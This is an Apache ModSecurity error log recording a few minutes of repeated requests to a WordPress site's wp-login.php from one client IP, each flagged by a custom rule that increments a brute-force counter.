[Fri Feb 27 20:50:23.404047 2026] [:error] [pid 52073:tid 52084] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTD4a650YPyxXVeRY1tQAAAYg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:25.894453 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTEYa650YPyxXVeRY1ugAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:27.075009 2026] [:error] [pid 52073:tid 52087] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTE4a650YPyxXVeRY1vgAAAYs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:29.578711 2026] [:error] [pid 52073:tid 52096] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTFYa650YPyxXVeRY1xAAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:30.764987 2026] [:error] [pid 52073:tid 52100] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTFoa650YPyxXVeRY1xwAAAZg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:33.243188 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTGYa650YPyxXVeRY1ygAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:34.400834 2026] [:error] [pid 52073:tid 52090] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTGoa650YPyxXVeRY1ywAAAY4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:36.918082 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTHIa650YPyxXVeRY1zQAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:38.274485 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTHoa650YPyxXVeRY1zgAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:40.756359 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTIIa650YPyxXVeRY10AAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:41.955260 2026] [:error] [pid 52073:tid 52085] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTIYa650YPyxXVeRY10QAAAYk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:44.745483 2026] [:error] [pid 52073:tid 52079] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTJIa650YPyxXVeRY10wAAAYM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:45.954301 2026] [:error] [pid 52073:tid 52077] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTJYa650YPyxXVeRY11QAAAYE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:48.437461 2026] [:error] [pid 52073:tid 52087] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTKIa650YPyxXVeRY12AAAAYs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:49.594681 2026] [:error] [pid 52073:tid 52094] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTKYa650YPyxXVeRY12gAAAZI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:52.132698 2026] [:error] [pid 52073:tid 52090] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTLIa650YPyxXVeRY14QAAAY4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:53.319021 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTLYa650YPyxXVeRY15AAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:55.833695 2026] [:error] [pid 52073:tid 52080] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTL4a650YPyxXVeRY16QAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:57.011327 2026] [:error] [pid 52073:tid 52078] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTMYa650YPyxXVeRY17AAAAYI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:00.140552 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTNMKBhrfI6KNv9RipbQAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:02.645331 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTNsKBhrfI6KNv9RipfAAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:05.212309 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTOcKBhrfI6KNv9RipjAAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:06.436883 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTOsKBhrfI6KNv9RipkQAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:08.944443 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTPMKBhrfI6KNv9RipngAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:10.152514 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTPsKBhrfI6KNv9RipogAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:12.787263 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTQMKBhrfI6KNv9RipqAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:13.970648 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTQcKBhrfI6KNv9RipqwAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:16.526965 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTRMKBhrfI6KNv9RipswAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:17.720051 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTRcKBhrfI6KNv9RipugAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:20.328629 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTSMKBhrfI6KNv9Rip0gAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:21.515031 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTScKBhrfI6KNv9Rip1gAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:23.969967 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTS8KBhrfI6KNv9Rip2gAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:25.167753 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTTcKBhrfI6KNv9Rip3AAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:28.913576 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTUMKBhrfI6KNv9Rip6gAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:30.149728 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTUsKBhrfI6KNv9Rip9AAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:32.670381 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTVMKBhrfI6KNv9RiqAQAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:33.836966 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTVcKBhrfI6KNv9RiqBAAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:36.372446 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTWMKBhrfI6KNv9RiqDQAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:37.582031 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTWcKBhrfI6KNv9RiqFQAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:40.119960 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTXMKBhrfI6KNv9RiqGQAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:41.359831 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTXcKBhrfI6KNv9RiqIQAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:43.876608 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTX8KBhrfI6KNv9RiqKgAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:45.102220 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTYcKBhrfI6KNv9RiqMQAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:47.669202 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTY8KBhrfI6KNv9RiqNwAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:48.875791 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTZMKBhrfI6KNv9RiqOgAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:51.438992 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTZ8KBhrfI6KNv9RiqQQAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:52.743120 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTaMKBhrfI6KNv9RiqRAAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:55.242783 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTa8KBhrfI6KNv9RiqSgAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:56.492700 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTbMKBhrfI6KNv9RiqTQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:51:59.040331 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTb8KBhrfI6KNv9RiqUwAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:00.274165 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTcMKBhrfI6KNv9RiqVwAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:02.919812 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTcsKBhrfI6KNv9RiqXQAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:04.118295 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTdMKBhrfI6KNv9RiqYAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:06.629523 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTdsKBhrfI6KNv9RiqZAAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:07.896951 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTd8KBhrfI6KNv9RiqZQAAAAg"], referer: https://gigfragments.org/wp-login.php
